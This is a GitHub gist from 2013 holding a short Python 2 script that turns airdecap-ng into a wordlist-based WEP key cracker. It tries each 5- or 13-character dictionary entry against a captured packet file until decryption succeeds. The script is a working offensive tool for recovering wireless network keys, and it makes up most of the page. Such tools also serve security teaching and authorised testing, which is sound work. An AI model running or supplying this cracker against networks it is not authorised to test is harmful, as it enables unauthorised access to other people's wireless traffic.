Created
April 2, 2013 15:04
-
-
Save securitytube/5292925 to your computer and use it in GitHub Desktop.
Converting Airdecap-ng into a Word list based WEP Cracker
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Author - Vivek Ramachandran [email protected] | |
# | |
import sys, binascii, re | |
from subprocess import Popen, PIPE | |
f = open(sys.argv[1], 'r') | |
for line in f: | |
wepKey = re.sub(r'\W+', '', line) | |
if not (len(wepKey) == 5 or len(wepKey) == 13) : | |
continue | |
hexKey = binascii.hexlify(wepKey) | |
print "Trying with WEP Key: " +wepKey + " Hex: " + hexKey | |
p = Popen(['/usr/local/bin/airdecap-ng', '-w', hexKey, sys.argv[2]], stdout=PIPE) | |
output = p.stdout.read() | |
finalResult = output.split('\n')[4] | |
if finalResult.find('1') != -1 : | |
print "Success WEP Key Found: " + wepKey | |
sys.exit(0) | |
print "Failure! WEP Key Could not be Found with the existing dictionary!" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment